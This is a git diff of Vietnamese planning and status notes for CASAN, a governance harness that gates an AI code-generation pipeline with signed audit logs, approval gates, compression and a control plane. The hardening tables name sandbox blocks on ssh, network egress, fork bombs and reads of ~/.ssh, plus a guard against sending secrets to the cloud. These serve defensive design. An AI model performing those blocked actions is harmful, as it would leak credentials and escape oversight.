||||
## Lenh kiem chung nhanh
|
||||
## Lệnh kiểm chứng nhanh
|
||||
|
||||
```bash
|
||||
cd AINative_OKR_CASAN5
|
||||
@@ -105,11 +100,11 @@ bash .specify/tests/phase-prod-infra-lab-tests.sh
|
||||
bash .specify/scripts/bash/infra-lab.sh verify
|
||||
```
|
||||
|
||||
## Ghi chu cho AI tiep theo
|
||||
## Ghi chú cho AI tiếp theo
|
||||
|
||||
- `CASAN_BACKLOG_STATUS.md` la handoff chi tiet nhat ve viec con lai.
|
||||
- `CASAN_HARDENING_STATUS.md` la nguon cho control nao da implemented+tested.
|
||||
- `CASAN_PLAN_03_CLOUD_PATCH.md` la nguon cho cloud provider patch va cach chay live khi co key.
|
||||
- Khong stage cac file audit log runtime neu chi thay doi do chay verify.
|
||||
- Backend `npm test` toan repo con blocker cu: Prisma schema MySQL nhung `setup-sqlite.mjs`
|
||||
ap migration vao SQLite. Day khong phai loi cua cac plan hardening vua lam.
|
||||
- `CASAN_BACKLOG_STATUS.md` = nguồn chuẩn "còn gì phải làm" (có legend nhãn + ánh xạ).
|
||||
- `CASAN_HARDENING_STATUS.md` = nguồn chuẩn "control nào đã implement+test".
|
||||
- `CASAN_PLAN_03_CLOUD_PATCH.md` = nguồn cho cloud provider patch + điều kiện gỡ blocker key.
|
||||
- Không stage các file audit log runtime nếu chỉ thay đổi do chạy verify.
|
||||
- Lỗi backend `npm test` (Prisma MySQL vs `setup-sqlite.mjs`) đã có chủ ở Backlog TIER 1
|
||||
(T1.4) — là test-infra của app OKR, không phải core harness/source-gen.
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
# KẾ HOẠCH 01 — Tái cấu trúc thư mục (Phase 0→6) & tách package harness
|
||||
|
||||
> Status 2026-07-06: **📋 chưa bắt đầu (task-level).** Đây là nền cho Plan-06
|
||||
> (onboard dự án 2) và Plan-12 (Domain Pack SDK): chỉ khi core harness được tách
|
||||
> thành package độc lập, không lẫn domain OKR, thì mới chứng minh được "reuse
|
||||
> thật". Rủi ro cao (đụng nhiều path) → **làm trên nhánh riêng, giữ 218/0 core
|
||||
> harness xuyên suốt**.
|
||||
>
|
||||
> Nhãn trạng thái dùng chung: xem legend ở `CASAN_BACKLOG_STATUS.md`.
|
||||
> Phụ thuộc: không phụ thuộc plan khác để bắt đầu; **chặn** 06 và 12.
|
||||
|
||||
## Bối cảnh code hiện tại
|
||||
- Core harness (gate H1→H7) nằm ở `.specify/scripts/bash/`, `.specify/security/`,
|
||||
`.specify/governance/`, `.specify/agentops/`, `.specify/level5/`; tests ở
|
||||
`.specify/tests/`.
|
||||
- Domain OKR (golden-runs, redteam-corpus, input, requirement/architecture) hiện
|
||||
**lẫn** trong cùng cây thư mục dự án, chưa tách rõ `packages/` (harness) vs
|
||||
`apps/<project>/domain/` (dữ liệu domain).
|
||||
- `project-registry.json` đã có khái niệm project, nhưng ranh giới "package vs
|
||||
app" chưa được phản ánh ở tầng thư mục.
|
||||
|
||||
## Nguyên tắc
|
||||
- **Không đổi hành vi gate:** tái cấu trúc là dời path + cập nhật tham chiếu,
|
||||
**không** sửa logic H1→H7. Sau mỗi bước: full harness vẫn **218/0**.
|
||||
- **Tách package vs domain:** `packages/casan-harness/` (gate, script, test khung)
|
||||
tuyệt đối không chứa dữ liệu domain; `apps/<project>/domain/` chứa
|
||||
golden/corpus/input theo dự án.
|
||||
- **Một biến gốc đường dẫn:** mọi script trỏ tới harness qua một biến/entrypoint
|
||||
duy nhất (ví dụ `CASAN_HARNESS_ROOT`) thay vì hardcode `.specify/...` rải rác.
|
||||
- **Làm trên nhánh riêng + freeze bản demo:** không để restructure làm vỡ bản
|
||||
đang trình bày.
|
||||
- **Đổi từng Phase, chạy test giữa mỗi Phase**, không dời tất cả một lần.
|
||||
|
||||
## Cấu trúc đích (Phase 0→6)
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
ROOT["repo root"]
|
||||
ROOT --> PKG["packages/casan-harness/<br/>(gate H1→H7 + tests khung)"]
|
||||
ROOT --> APPS["apps/"]
|
||||
APPS --> OKR["apps/okr/<br/>domain OKR (golden/corpus/input)"]
|
||||
APPS --> X["apps/<project-2>/<br/>domain khác (Plan-06)"]
|
||||
ROOT --> REG["project-registry.json"]
|
||||
PKG --> REG
|
||||
OKR --> REG
|
||||
X --> REG
|
||||
style PKG fill:#d0e8ff,stroke:#2c3e91,stroke-width:2px
|
||||
style REG fill:#fff3cd,stroke:#8a6d3b,stroke-width:2px
|
||||
```
|
||||
|
||||
## Tasks
|
||||
|
||||
| Task | Việc | File/Đối tượng | Verify | Done khi |
|
||||
|---|---|---|---|---|
|
||||
| 1.1 | Kiểm kê mọi tham chiếu hardcode `.specify/...` trong script/test | toàn repo | có danh sách đầy đủ path phụ thuộc | inventory xong |
|
||||
| 1.2 | Định nghĩa biến gốc `CASAN_HARNESS_ROOT` + entrypoint duy nhất | `bin/casan`, `model-router.sh` | script trỏ qua biến, không hardcode | biến áp dụng |
|
||||
| 1.3 | Phase 0: tạo `packages/casan-harness/` (skeleton), chưa dời | mới | thư mục tồn tại, chưa đổi hành vi | skeleton sẵn |
|
||||
| 1.4 | Phase 1–2: dời gate H1→H4 (security/context/tool/validation) sang package | `.specify/**` → `packages/**` | full harness 218/0 sau khi dời | H1–H4 đã dời |
|
||||
| 1.5 | Phase 3–4: dời H5/H6/H7 (governance/agentops/orchestration) | `.specify/**` → `packages/**` | full harness 218/0 | H5–H7 đã dời |
|
||||
| 1.6 | Phase 5: tách domain OKR sang `apps/okr/domain/` | golden/corpus/input | pipeline OKR chạy trọn, drift/H3 hoạt động | domain tách bạch |
|
||||
| 1.7 | Phase 6: cập nhật `project-registry.json` + `verify-harness-reuse.sh` theo cấu trúc mới | registry, script | registry hợp lệ, reuse-check chạy | registry đồng bộ |
|
||||
| 1.8 | Cập nhật CI/CD (Plan-05) & Docker infra lab theo path mới | `.gitea/**`, `infra/**` | CI gate xanh với path mới | CI thích ứng |
|
||||
| 1.9 | Ghi "nợ kỹ thuật phải sửa gate" (nếu buộc phải) làm đầu vào cho Plan-06/12 | mới notes | có danh sách gap | rút kinh nghiệm |
|
||||
|
||||
## Tiêu chí HOÀN THÀNH
|
||||
- [ ] `packages/casan-harness/` không chứa dữ liệu domain; `apps/okr/domain/` chứa toàn bộ golden/corpus/input OKR.
|
||||
- [ ] Mọi script trỏ harness qua `CASAN_HARNESS_ROOT`/entrypoint, không còn hardcode `.specify/...` rải rác.
|
||||
- [ ] Full harness **218/0** giữ nguyên sau mỗi Phase; local-prod infra lab vẫn 2/0.
|
||||
- [ ] CI/CD (Plan-05) xanh trên cấu trúc mới.
|
||||
- [ ] `verify-harness-reuse.sh` chạy đúng trên cấu trúc mới → sẵn sàng cho Plan-06.
|
||||
|
||||
---
|
||||
_Liên quan: `CASAN_PLAN_00_INDEX.md` (mục lục) · Plan-05 (CI phải thích ứng path) · Plan-06/12 (phụ thuộc plan này)._
|
||||
@@ -48,6 +48,23 @@ Expected evidence:
|
||||
| P4 | Add model allowlist policy for approved cloud models | Unknown cloud model names require approval or block |
|
||||
| P5 | Decide default failover order for local -> cloud or cloud -> local | `model-fallback.sh` policy is explicit per role |
|
||||
|
||||
## Điều kiện gỡ blocker API key (để P02 đợt B–D không treo vô thời hạn)
|
||||
|
||||
Live smoke (P1 ở trên) và Plan-02 đợt B–D **đều chờ cùng một điều kiện**: có API
|
||||
key provider thật. Ghi rõ để bất kỳ AI/người kế tiếp gỡ được:
|
||||
|
||||
| Hạng mục | Quyết định cần chốt |
|
||||
|---|---|
|
||||
| **Ai cấp key** | Org owner cấp `OPENAI_API_KEY` và/hoặc `ANTHROPIC_API_KEY` (ít nhất 1 provider đủ để mở đường). |
|
||||
| **Nạp ở đâu** | Chỉ qua biến môi trường / secret store của runner CI — **không** commit vào repo, không ghi vào audit dạng plaintext (H5 mask). |
|
||||
| **Model tối thiểu** | `openai:gpt-4o-mini` hoặc `anthropic:claude-*-mini` là đủ cho smoke (rẻ, đủ chứng minh đường sống). |
|
||||
| **Evidence phải lưu** | 1 file smoke ghi: exit `0`, token thật > 0 trong `/tmp/out.json`, 1 dòng `provider-usage.jsonl` với source `*_api_real_tokens`, và xác nhận không rò secret. |
|
||||
| **Khi CHƯA có key** | Giữ nguyên trạng thái: deterministic offline test là bằng chứng hợp lệ; **không** claim live provider. Không tạo fake PASS/fake token. |
|
||||
|
||||
> **Chốt:** P02 đợt B–D có thể phát triển & test offline bằng deterministic mock;
|
||||
> chỉ **bước xác nhận live** mới cần key. Vì vậy thiếu key **không chặn** việc
|
||||
> mở rộng source-gen — chỉ chặn claim "đã chạy live provider thật".
|
||||
|
||||
## Notes for Plan-02
|
||||
|
||||
Plan-02 source generation should call `model-router.sh --role generate`, not
|
||||
|
||||
@@ -1,6 +1,12 @@
|
||||
# KẾ HOẠCH 04 — Khép vòng tự cải tiến (`casan improve`)
|
||||
|
||||
> Hôm nay: ngưỡng tự canh (cost-spike/circuit) [có] + báo cáo KPI/drift [có] + hành động cải tiến cần người [chưa tự động]. Kế hoạch: thêm lệnh `casan improve` **đề xuất** cải tiến tự động, **người duyệt** rồi mới áp, mọi thay đổi vào audit. Task-level, chưa thực thi.
|
||||
> Status 2026-07-06: **🟡 core implemented + tested (harness-owned).**
|
||||
> `.specify/scripts/bash/self-improve.py`: `propose` đọc telemetry (metrics.jsonl +
|
||||
> drift.json) → sinh proposal **dry-run (không ghi)**; `apply` **bắt buộc approval**
|
||||
> (đề xuất ≠ áp dụng), áp qua **governed store** (`control-plane-settings.py` → audit),
|
||||
> proposal security-sensitive/loosen luôn cần duyệt. Test `phase-selfimprove-tests.sh`
|
||||
> **7/0 (WSL)**, nối CI. Còn: bộ luật đề xuất phong phú hơn (corpus/model escalation),
|
||||
> báo cáo xu hướng qua nhiều run, chạy định kỳ trong CI (Plan-05).
|
||||
>
|
||||
> Phụ thuộc: **01** (CLI/config), **05** (CI để chạy định kỳ). Không tự retrain model.
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@
|
||||
|
||||
## 2. Thang điểm sẵn sàng production (0–5, cao = tốt)
|
||||
|
||||
> ✅ **CẬP NHẬT 2026-07-06 — Track A + C-MVP + Evidence Pack + H5/H6/deep-gap hardening + Plan-10 traceability ĐÃ LÀM + TEST (218 core checks, 0 fail; model-router riêng 11/0). Local production-like Docker infra lab cũng đã có (2/0, verify nội bộ 7/0).**
|
||||
> ✅ **CẬP NHẬT 2026-07-06 — Track A + C-MVP + Evidence Pack + H5/H6/deep-gap hardening + Plan-10 traceability ĐÃ LÀM + TEST (218 core checks, 0 fail; model-router riêng 11/0). Local production-like Docker infra lab cũng đã có (2/0, verify nội bộ 7/0).**
|
||||
> Bảng dưới có cột **Baseline → Nay**. Điểm chấm CÔNG TÂM (0–100, theo `casan_harness_assessment.md`):
|
||||
> **H4 = 80 · H5 = 76→80 ⬆ · H6 = 79→80 ⬆ · trung bình 7 harness ~80.9/100 · không còn harness nào dưới 80 → CASAN Level 4 (vững ngưỡng)**.
|
||||
> Nguồn: `00_SUBMISSION_PACKAGE/evidence/scoring-run-report.md`. Chi tiết implemented-vs-planned: `CASAN_HARDENING_STATUS.md`.
|
||||
@@ -30,10 +30,10 @@
|
||||
| Fail-safe | 4 | **4.5** | `CASAN_SECURITY_STRICT` fail-closed — hết "semantic SKIP âm thầm" | — |
|
||||
| Toàn vẹn/chống giả mạo (H5) | 3 | **4** | telemetry vào manifest **ký RSA** (sửa 1 token → MISMATCH) | — |
|
||||
| Kiểm soát chi phí (H6) | 3 | **4** | trần tuyệt đối/call + ngân sách tích luỹ + cold-start (ngoài median×mult) | hard-cap per-provider live |
|
||||
| Quan sát (observability) | 3 | **4** | telemetry toàn vẹn (ký) · **alerting LIVE** (webhook + dedup + dead-letter, end-to-end từ step fail) · **dashboard hosted** (`/healthz` stale-aware) · **Docker lab** có nginx auth + alert/billing mock · provider-API reconcile · window breaker (V15) | dashboard deploy managed + TLS/OIDC · Slack/PagerDuty/on-call thật · billing-API thật |
|
||||
| Quan sát (observability) | 3 | **4** | telemetry toàn vẹn (ký) · **alerting LIVE** (webhook + dedup + dead-letter, end-to-end từ step fail) · **dashboard hosted** (`/healthz` stale-aware) · **Docker lab** có nginx auth + alert/billing mock · provider-API reconcile · window breaker (V15) | dashboard deploy managed + TLS/OIDC · Slack/PagerDuty/on-call thật · billing-API thật |
|
||||
| Đa domain/i18n | 2 | **2.5** | benign corpus VI/JA/EN đo được (FP 0%) | detection vẫn chủ yếu EN (Track B) |
|
||||
| Quản lý khóa | 2 | **4** | **KMS live** (Vault Transit) — ký qua KMS, **rotate**, khoá **non-exportable** (đã chạy thật) | KMS chưa mặc định (fallback local) · HSM · IdP token ngắn hạn |
|
||||
| Phủ kiểm thử | 4 | **4.5** | **218 core tests** (35+44+25+29+7+12+7+20+15+7+6+8+3) đối kháng, 0 fail | line/symbol-level traceability + CI release gate |
|
||||
| Phủ kiểm thử | 4 | **4.5** | **218 core tests** (35+44+25+29+7+12+7+20+15+7+6+8+3) đối kháng, 0 fail | line/symbol-level traceability + CI release gate |
|
||||
|
||||
**Điểm trung bình (H4/H5/H6 mở rộng) ~3.0 → ~4.0/5; chấm công tâm per-harness H4=80 · H5=80 · H6=80 (~4.0/5). Không còn harness nào dưới 80.**
|
||||
|
||||
@@ -45,12 +45,12 @@
|
||||
| Supply-chain (dependency sinh ra) | 1 | **3.5** | `supply-chain-gate.sh` (V18) — typosquat/postinstall/denylist + dep-diff | CVE/OSV scanner live chưa nối |
|
||||
| Data-governance / anti-exfil | 2 | **4** | `data-exfil-guard.sh` (V19) — secret→cloud BLOCK, PII→audit mask | — |
|
||||
| Evidence Pack (Plan-09) | — | **4** | `casan pack/verify-pack` — manifest ký, tamper-evident, certified-gate | KMS sign · hosted store |
|
||||
| Policy governance / approval | 2 | **4** | **approval-identity + Docker mock IdP/OIDC JWKS** (C4) — reviewer KÝ request hoặc JWT RS256 + role authz, hết env-var; SoD giữ (đã test 12/12 + infra lab) | enterprise IdP/JWKS · policy versioning/diff [planned] |
|
||||
| Policy governance / approval | 2 | **4** | **approval-identity + Docker mock IdP/OIDC JWKS** (C4) — reviewer KÝ request hoặc JWT RS256 + role authz, hết env-var; SoD giữ (đã test 12/12 + infra lab) | enterprise IdP/JWKS · policy versioning/diff [planned] |
|
||||
| Runtime sandbox | 1 | **2.5** | `sandbox-run.sh` scaffold (V22) — chặn ssh/egress/forkbomb/write-outside + ulimit | **cô lập kernel thật** (container/nsjail) [planned] |
|
||||
| External append-only audit | 1 | **3.5** | **WORM ledger** (C5) — ship head hash-link ngoài, bắt rollback (`AUDIT_GAP_DETECTED`) + tamper | WORM store thật (S3 Object Lock) · trusted timestamp [planned] |
|
||||
| Incident response | 1 | **1** | — | severity/owner/kill-switch (C7) [planned] |
|
||||
|
||||
**→ C-MVP (C1+C2+C3 + Evidence Pack) ~3.8/5 + H5-hardening (C4 approval-identity + Docker mock OIDC/JWKS, KMS live, C5 WORM/MinIO Object Lock lab) + H6-hardening (D1 alerting live, D2 provider-API reconcile, D3 dashboard hosted/nginx auth lab, D4 window breaker V15) + deep-gap closers + Plan-10 traceability [đã làm + test thật]. Còn: enterprise IdP/JWKS, S3 Object Lock/QLDB thật, KMS default/HSM, dashboard deploy managed + kênh alert managed, billing-API thật [planned].** Trio H4/H5/H6 nay **~4.0/5 (H4=80·H5=80·H6=80)**; harness thấp nhất nhích **76 (H5) → 79 (H6) → 80 (đồng đều)**. Production toàn diện vẫn cần các mục [planned] ở trên.
|
||||
**→ C-MVP (C1+C2+C3 + Evidence Pack) ~3.8/5 + H5-hardening (C4 approval-identity + Docker mock OIDC/JWKS, KMS live, C5 WORM/MinIO Object Lock lab) + H6-hardening (D1 alerting live, D2 provider-API reconcile, D3 dashboard hosted/nginx auth lab, D4 window breaker V15) + deep-gap closers + Plan-10 traceability [đã làm + test thật]. Còn: enterprise IdP/JWKS, S3 Object Lock/QLDB thật, KMS default/HSM, dashboard deploy managed + kênh alert managed, billing-API thật [planned].** Trio H4/H5/H6 nay **~4.0/5 (H4=80·H5=80·H6=80)**; harness thấp nhất nhích **76 (H5) → 79 (H6) → 80 (đồng đều)**. Production toàn diện vẫn cần các mục [planned] ở trên.
|
||||
|
||||
## 3. Bảng đường lọt (tóm tắt từ threat-model)
|
||||
|
||||
@@ -309,6 +309,28 @@
|
||||
| Strict fail-closed chặn khi CI không có model | CI dùng chế độ non-strict; production bật strict |
|
||||
| Regression | 35/35 + 43/43 mỗi task |
|
||||
|
||||
## TIER 2 — Managed production infra (đòn bẩy lên "Strong 81+") 🔌 needs-infra
|
||||
|
||||
> Đây là **hạng mục có chủ** cho phần hạ tầng managed thật — trần điểm hiện tại của
|
||||
> cả pipeline. Docker local-prod lab đã chứng minh luồng chạy được; bảng dưới là
|
||||
> bước biến mỗi thành phần từ lab-emulation sang managed thật. **Mỗi dòng cần
|
||||
> key/dịch vụ ngoài** nên tách khỏi core 218/0. Chi tiết trạng thái lab: xem TIER 2
|
||||
> trong `CASAN_BACKLOG_STATUS.md`.
|
||||
|
||||
| # | Hạng mục | Lab đã có | Việc production | Verify (evidence) |
|
||||
|---|---|---|---|---|
|
||||
| T2.1 | KMS mặc định + HSM | Vault Transit dev | Vault/AWS-KMS/CloudHSM làm **mặc định**, token ngắn hạn qua IdP, **bỏ fallback khoá local** ở prod | ký/verify audit head qua KMS thật; chứng minh khoá non-exportable; rotate log |
|
||||
| T2.2 | WORM store thật | MinIO Object Lock | S3 Object Lock/QLDB + trusted timestamp + retention policy | ship audit head lên WORM thật; thử rollback → phát hiện; retention khớp policy |
|
||||
| T2.3 | Dashboard managed | nginx basic auth + `/healthz` | Host thật + TLS + OIDC/enterprise auth | dashboard truy cập qua HTTPS + OIDC; uptime monitor đọc `/healthz` |
|
||||
| T2.4 | Alert channel + on-call | webhook emulator | Trỏ `CASAN_ALERT_WEBHOOK` tới Slack/PagerDuty + rota on-call | alert thật tới kênh + escalation; dead-letter redeliver có log |
|
||||
| T2.5 | Billing-API telemetry | billing API mock | OpenAI/Anthropic usage API thật + key + schema versioning | reconcile local-vs-provider dùng ground truth thật; phát hiện under-report |
|
||||
| T2.6 | Enterprise IdP/JWKS | mock IdP/JWKS | IdP/JWKS thật + policy versioning/diff | approval JWT ký bởi IdP thật verify PASS; token hết hạn/sai role → DENY |
|
||||
| T2.7 | Sandbox rootless CI | container isolation (Docker) | nsjail/bubblewrap profile cho Linux CI (không cần Docker daemon) + hardened base image | read `~/.ssh`/net-egress/write-outside-workspace bị chặn trong CI không Docker |
|
||||
|
||||
> **Điều kiện tuyên bố Strong (81+):** T2.1–T2.6 có evidence managed thật (không phải
|
||||
> lab). Trước khi đủ, **không** claim production Strong — chỉ claim Level 4 + local-prod
|
||||
> lab, đúng như `CASAN_HARDENING_STATUS.md` §4.
|
||||
|
||||
## Tiêu chí HOÀN THÀNH kế hoạch 07
|
||||
- [ ] Track A: 9 vector có test đối kháng xanh; strict fail-closed hoạt động; trần chi phí tuyệt đối + ngân sách; **benign/FP trong ngân sách (A6)**.
|
||||
- [ ] Telemetry nằm trong chuỗi ký; mutation ngoài wrapper bị phát hiện.
|
||||
|
||||
@@ -1,12 +1,21 @@
|
||||
# KẾ HOẠCH 08 — Context Compression / Token Optimizer (nén đầu vào/đầu ra)
|
||||
|
||||
> Năng lực **nén prompt/context để giảm token · latency · cost** — nhưng **không phá governance**. Task-level, chưa thực thi.
|
||||
> Năng lực **nén prompt/context để giảm token · latency · cost** — nhưng **không phá governance**.
|
||||
>
|
||||
> Status 2026-07-06: **🟡 Track 3 MVP implemented + tested (CASAN-native token-killer).**
|
||||
> `.specify/scripts/bash/context-compress.py` — compressor deterministic của CASAN
|
||||
> (KHÔNG dùng lại RTK): modes `dedup`/`extractive`/`structural`, must-keep luôn giữ,
|
||||
> tee raw-passthrough khi lệnh fail, báo `token_saved`/`ratio`, và gate must-keep
|
||||
> fail-able. Test `.specify/tests/phase08-compression-tests.sh` **7/0 (WSL)**; đã nối
|
||||
> vào `ci-harness-gate.sh` (`phase08-compression`). Còn: Track 1 nén INPUT + Track 2
|
||||
> nén VIEW liên-bước + Track 4 abstractive (gated) + nối H4/H5 scan/hash trong pipeline thật.
|
||||
>
|
||||
> Nhãn: [có] tồn tại thật · [đo] đã kiểm chứng · [mới] cần làm · [chưa tự động] có đo/người quyết.
|
||||
> Phụ thuộc: **01** (đường dẫn sau restructure) · **07** (thứ tự scan/audit an toàn, V19/V5) · **03** (chế độ abstractive dùng model).
|
||||
|
||||
## 1. Bối cảnh & câu hỏi
|
||||
- Ngoài thị trường có thật: **LLMLingua / LongLLMLingua / LLMLingua-2** (Microsoft Research), **PromptFlow** LLMLingua tool, **LangChain ContextualCompressionRetriever** (nén tài liệu RAG trước khi vào LLM).
|
||||
- **RTK — Rust Token Killer** ([rtk-ai/rtk](https://github.com/rtk-ai/rtk)): CLI proxy nén **output của lệnh** (git/test/log/build…) trước khi vào context, giảm 60–90% token bằng 4 chiến lược deterministic: **Smart Filtering · Grouping · Truncation · Deduplication**, có `tee` (lưu raw đầy đủ khi lệnh fail) và analytics `rtk gain`. **Chỉ dùng làm reference ý tưởng** — CASAN **TỰ XÂY module tương tự**, **KHÔNG dùng lại binary RTK**, để giữ chủ quyền + đưa vào đúng luồng governance (scan raw → hash → nén → scan compressed).
|
||||
- **Repo hiện tại [đo — grep toàn repo]:** *chưa có* module nén prompt/context. Chỉ có truncation tên nhánh + vài gợi ý "summarize" trong prompt speckit + `max_tokens` trong 1 test. → Đây là **năng lực mới**.
|
||||
|
||||
## 2. Quyết định kiến trúc — **KHÔNG tạo H8**
|
||||
@@ -107,6 +116,25 @@ config/compression-policy.yaml
|
||||
| 3.1 | Tool trả log/output dài → H4 scan raw → H5 hash → H1 nén phần liên quan → H4 scan nén | tool-output dài → nén qua đúng flow | không đưa thẳng vào model |
|
||||
| 3.2 | Nối với Plan-07 C1/V7 (tool authorization + tool-output scan) | tool-output độc → BLOCK trước nén | an toàn |
|
||||
|
||||
#### Track 3 — tự xây token-killer tương tự RTK (KHÔNG dùng lại RTK)
|
||||
Xây **module CASAN-native** lấy ý tưởng từ RTK, nhưng là code của CASAN, để giữ chủ
|
||||
quyền và nhúng đúng luồng governance. **Không phụ thuộc binary RTK, không auto-
|
||||
rewrite hook** (pipeline CASAN chạy bash script, không phải agent tool-call):
|
||||
|
||||
| Ý tưởng từ RTK | CASAN tự xây (module riêng) | Ràng buộc governance |
|
||||
|---|---|---|
|
||||
| Smart Filtering / Grouping / Truncation | `context-compress.py` mode `structural`/`extractive` cho tool-output (git/test/lint/log) | luôn deterministic; không cần model |
|
||||
| Deduplication (gộp dòng log lặp + đếm) | `semantic-dedup` cho log dài | giữ dòng unique |
|
||||
| `tee` — lưu raw đầy đủ khi lệnh **fail** | bắt buộc giữ artifact FULL + hash RAW (đã là nguyên tắc mục 3) | fail ⇒ không nén, giữ raw để debug |
|
||||
| `rtk gain` analytics (token saved/ratio) | metric `token_saved`/`ratio` tự tính → H6 telemetry + dashboard | nguồn số liệu cho Control Plane (Plan-13) |
|
||||
| `config.toml` (exclude_commands, tee mode) | `compression-policy.yaml` | **settings quản lý qua Control Plane (Plan-13)**, đổi phải H5 audit |
|
||||
|
||||
| Task | Việc | Verify | Done |
|
||||
|---|---|---|---|
|
||||
| 3.3 | Thư viện filter tool-output CASAN-native theo loại (git/test/lint/log/build) — đặt SAU `H4 scan raw → H5 hash raw`, trước `H4 scan compressed` | log 200 dòng test → còn ~20 dòng failures-only, đúng thứ tự scan/audit | có filter deterministic (code CASAN) |
|
||||
| 3.4 | Coverage filter cho ≥N loại lệnh (git/test/lint/build/log/pkg-manager), mở rộng dần như RTK — **không** phụ thuộc binary ngoài | mỗi loại có filter + test benign giữ đúng thông tin | self-contained, không external dep |
|
||||
| 3.5 | Bật/tắt + cấu hình filter qua `compression-policy.yaml` (managed bởi Plan-13) | đổi policy → hành vi nén đổi, có audit | policy-driven |
|
||||
|
||||
### Track 4 — Abstractive + semantic-dedup (gated, làm sau)
|
||||
| Task | Việc | Verify | Done |
|
||||
|---|---|---|---|
|
||||
@@ -154,4 +182,4 @@ config/compression-policy.yaml
|
||||
|
||||
---
|
||||
|
||||
_Liên quan: `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (thứ tự an toàn, V19/V5) · `CASAN_PLAN_01_RESTRUCTURE.md` (đường dẫn) · `CASAN_PLAN_03_CLOUD_PATCH.md` (abstractive dùng model)._
|
||||
_Liên quan: `CASAN_PLAN_07_PRODUCTION_HARDENING.md` (thứ tự an toàn, V19/V5) · `CASAN_PLAN_01_RESTRUCTURE.md` (đường dẫn) · `CASAN_PLAN_03_CLOUD_PATCH.md` (abstractive dùng model) · `CASAN_PLAN_13_CONTROL_PLANE.md` (compression-policy là settings quản lý qua Control Plane) · reference: [rtk-ai/rtk](https://github.com/rtk-ai/rtk)._
|
||||
|
||||
@@ -1,6 +1,13 @@
|
||||
# KẾ HOẠCH 09 — CASAN Evidence Pack & Certification
|
||||
|
||||
> Mỗi lần CASAN chạy xong sinh một **gói bằng chứng** đóng gói toàn bộ verdict của H1–H7 + red-team + cost + traceability, trả lời trực tiếp câu: *"Tại sao tôi tin output này?"* bằng **proof pack**, không bằng cảm tính. Task-level, chưa thực thi.
|
||||
> Mỗi lần CASAN chạy xong sinh một **gói bằng chứng** đóng gói toàn bộ verdict của H1–H7 + red-team + cost + traceability, trả lời trực tiếp câu: *"Tại sao tôi tin output này?"* bằng **proof pack**, không bằng cảm tính.
|
||||
>
|
||||
> Status 2026-07-06: **🟡 MVP done + governance-report tie-in.** Evidence Pack MVP
|
||||
> (`evidence-pack.sh`, 13-file pack, hash+ký) đã có (`phase3-evidence-pack` 7/0).
|
||||
> Bổ sung **unified governance evidence report** `.specify/scripts/bash/governance-report.py`
|
||||
> gộp traceability + RBAC + RAI + control-plane audit-integrity + self-improve thành 1
|
||||
> artifact **certified-run** (tampered audit ⇒ NOT_CERTIFIED). Test
|
||||
> `phase-governance-report-tests.sh` **5/0 (WSL)**, nối CI. Còn: render HTML one-page + badge đẹp.
|
||||
>
|
||||
> Nhãn: [có] tồn tại thật · [đo] đã kiểm chứng · [mới] cần làm.
|
||||
> Phụ thuộc: **nhẹ** — chủ yếu *gom* dữ liệu H1–H7 đã có; nối tốt hơn nếu có Plan-01 (đường dẫn) và Plan-10 (traceability).
|
||||
|
||||
@@ -11,26 +11,31 @@
|
||||
| Parse `FR-*` from `docs/input/okr-requirement.md` | `.specify/scripts/bash/traceability-matrix.py` | `phase10-traceability-tests.sh` |
|
||||
| Declarative FR→code→test map | `.specify/traceability-map.json` | gate checks every mapped file exists |
|
||||
| Gate every FR has >=1 code file and >=1 test file | `traceability-matrix.py --gate` | missing FR test coverage fails |
|
||||
| **Symbol/line-level refs** (object form `{file, symbols, lines}`, backward compatible with plain path) | `traceability-matrix.py` (`resolve_files`, `symbol_present`) | `phase10` symbol/line checks (missing symbol/line ⇒ gate FAIL) |
|
||||
| Evidence Pack includes traceability matrix | `evidence-pack-build.py` | `phase3-evidence-pack-tests.sh` expects 13 files |
|
||||
| **CI enforcement** | `ci-harness-gate.sh` runs `phase10-traceability` | CI fails a new FR without code+test (+symbol) coverage |
|
||||
|
||||
> Verify môi trường: chạy trong **WSL/Linux** (msys + Python Windows lệch dịch path → fail giả). phase10 = **6/0** trong WSL.
|
||||
|
||||
## Current result
|
||||
|
||||
```bash
|
||||
python3 .specify/scripts/bash/traceability-matrix.py --gate
|
||||
# TRACEABILITY_MATRIX requirements=5 pass=5 fail=0 ...
|
||||
# TRACEABILITY_MATRIX requirements=5 pass=5 fail=0 symbols=2/2 ...
|
||||
|
||||
bash .specify/tests/phase10-traceability-tests.sh
|
||||
# TRACEABILITY SUMMARY: PASS=3 FAIL=0
|
||||
bash .specify/tests/phase10-traceability-tests.sh # chạy trong WSL
|
||||
# TRACEABILITY SUMMARY: PASS=6 FAIL=0
|
||||
```
|
||||
|
||||
Generated artifact:
|
||||
|
||||
- `AINative_OKR_CASAN5/docs/output/casan/traceability-matrix.json`
|
||||
- `AINative_OKR_CASAN5/docs/output/casan/traceability-matrix.json` (nạp thêm `symbol_refs`, `missing_symbols`, `missing_lines`)
|
||||
|
||||
## Next steps
|
||||
|
||||
| Priority | Work | Done when |
|
||||
|---|---|---|
|
||||
| P1 | Add traceability line references or symbol references, not only file paths | matrix can point to precise code/test locations |
|
||||
| ~~P1~~ ✅ | ~~Symbol/line-level refs~~ **đã làm** | matrix trỏ tới symbol/line chính xác; missing ⇒ gate FAIL |
|
||||
| ~~P3~~ ✅ | ~~Enforce traceability in release CI~~ **đã có** | `ci-harness-gate.sh` chạy `phase10` |
|
||||
| P2 | Expand H3 eval-set beyond the OKR sample app | independent eval corpus runs through judge gates |
|
||||
| P3 | Enforce traceability in release CI | CI blocks a new FR without code+test coverage |
|
||||
| P4 | Enrich symbol refs cho các FR còn lại (FR-02→FR-05) | mỗi FR có ≥1 symbol ref được verify |
|
||||
|
||||
@@ -0,0 +1,236 @@
|
||||
# KẾ HOẠCH 13 — Control Plane (Dashboard giám sát + quản lý + settings)
|
||||
|
||||
> Status 2026-07-06: **🟡 Governance CORE implemented + tested (harness-owned).**
|
||||
> **Sửa kiến trúc:** Control Plane là **tài sản của core harness**, KHÔNG nằm trong app
|
||||
> OKR (OKR chỉ là testbed được gen). Governance core đã dời vào harness:
|
||||
> `.specify/scripts/bash/control-plane-settings.py` (settings store versioned +
|
||||
> audit hash-chain + deny-by-default + approval cho key nhạy cảm + rollback + verify),
|
||||
> test `.specify/tests/phase-control-plane-tests.sh` **7/0 (WSL)**, nối CI
|
||||
